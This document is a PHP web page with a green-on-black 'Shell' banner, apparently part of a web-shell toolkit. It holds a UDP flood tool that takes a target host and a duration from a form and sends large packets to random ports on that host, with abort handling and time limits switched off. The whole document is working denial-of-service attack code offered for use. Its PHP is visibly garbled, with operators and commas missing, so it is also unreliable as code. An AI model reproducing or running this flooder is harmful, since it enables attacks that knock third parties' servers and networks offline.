<html>
<body>
<center>
<font color="00FF00">
<pre>
__ _    _ _
/ ____| |  | | |
(___ | |__   ___| | |
\___ \| '_ \ / _ \ | |
__ _) | | | |  __/ | |
__/|_| |_|\___|_|_|
</pre>
<STYLE>
input{
background-color: #00FF00; font-size: 8pt; color: #00; font-family: Tahoma; border: 1 solid #66;
}
button{
background-color: #00FF00; font-size: 8pt; color: #00; font-family: Tahoma; border: 1 solid #66;
}
body {
background-color: #00;
}
</style>
<?php
//UDP
if(isset($_GET['host'])&&isset($_GET['time'])){
    
$packets 0;
    
ignore_user_abort(TRUE);
    
set_time_limit(0);

    
$exec_time $_GET['time'];

    
$time time();
    
//print "Started: ".time('d-m-y h:i:s')."<br>";
    
$max_time $time+$exec_time;

    
$host $_GET['host'];

    for(
$i=0;$i<65000;$i++){
    
$out .= 'X';
    }
    while(
1){
    
$packets++;
    if(
time() > $max_time){
  break;
    }
    
$rand rand(1,65000);
    
$fp fsockopen('udp://'.$host$rand$errno$errstr5);
    if(
$fp){
  
fwrite($fp$out);
  
fclose($fp);
    }
    }
    echo 
"<br><b>UDP Flood</b><br>Completed with $packets (" round(($packets*65)/10242) . " MB) packets averaging "round($packets/$exec_time2) . " packets per second \n";
    echo 
'<br><br>
  <form action="'
.$surl.'" method=GET>
  <input type="hidden" name="act" value="phptools">
  Host: <br><input type=text name=host><br>
  Length (seconds): <br><input type=text name=time><br>
  <input type=submit value=Go></form>'
;
}else{ echo 
'<br><b>UDP Flood</b><br>
    <form action=? method=GET>
    <input type="hidden" name="act" value="phptools">
    Host: <br><input type=text name=host value=><br>
    Length (seconds): <br><input type=text name=time value=><br><br>
    <input type=submit value=Go></form>'
;
}
?>
</center>
</body>
</html>